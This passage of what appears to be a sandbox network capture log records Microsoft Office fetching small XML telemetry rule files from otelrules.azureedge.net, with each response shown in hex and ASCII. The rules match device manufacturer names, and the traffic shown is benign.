2024-10-18 21:46:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: fe1afdc6-601e-00ab-1fd8-1e66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214623Z-16b659b4499rgn6gzhcff90q8g0000000bs000000000rbtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49748	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:23 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:23 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:23 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a121b046-601e-0050-3481-212c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214623Z-r197bdfb6b4sn8wg20e97vn7ps0000000c3g00000000vaz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:23 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49749	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:24 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:24 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfb30da8-001e-0028-10d8-1ec49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214624Z-r197bdfb6b4kzncfk35mqx2yu40000000c3g00000000c2cd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:24 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:24 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:24 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 5e2b87c7-c01e-000b-17f5-20e255000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214624Z-16b659b44994sjcfes83c39y4000000009gg00000000nazz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:24 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:24 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:24 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: b1f4a3fb-201e-0085-44d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214624Z-r197bdfb6b4kq4j5t834fh90qn000000024g00000000gswp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:24 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:24 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:24 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:24 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 96577f27-301e-0099-1ad8-1e6683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214624Z-16b659b44995jvf4d4dghwrdp400000001cg00000000nruc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:24 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:24 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:24 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:24 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: ff358c34-401e-0064-2ed8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214624Z-16b659b4499lfw4zscvav76bhn0000000a6000000000x7rs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:24 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 6ff76e76-001e-002b-21c5-2099f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499t9g2t855zkdgzd00000000c6000000000se5b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 783e1ebc-401e-00ac-5ed8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499mcktpfn1m4deuag00000009tg00000000mcq1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: ff35c8d8-401e-0064-01d8-1e54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499v5jm96nrcwszga00000000ag000000000hh9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 619deb8e-b01e-005c-5ed8-1e4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-15b8d89586f42m67uh3prmsdrs00000005ug000000009ugp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-18 21:46:25 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-18 21:46:25 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 18 Oct 2024 21:46:25 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 265f42d2-801e-0047-38c8-207265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241018T214625Z-16b659b4499z4tq4vyreufa8gn00000008c000000000krkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-18 21:46:25 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
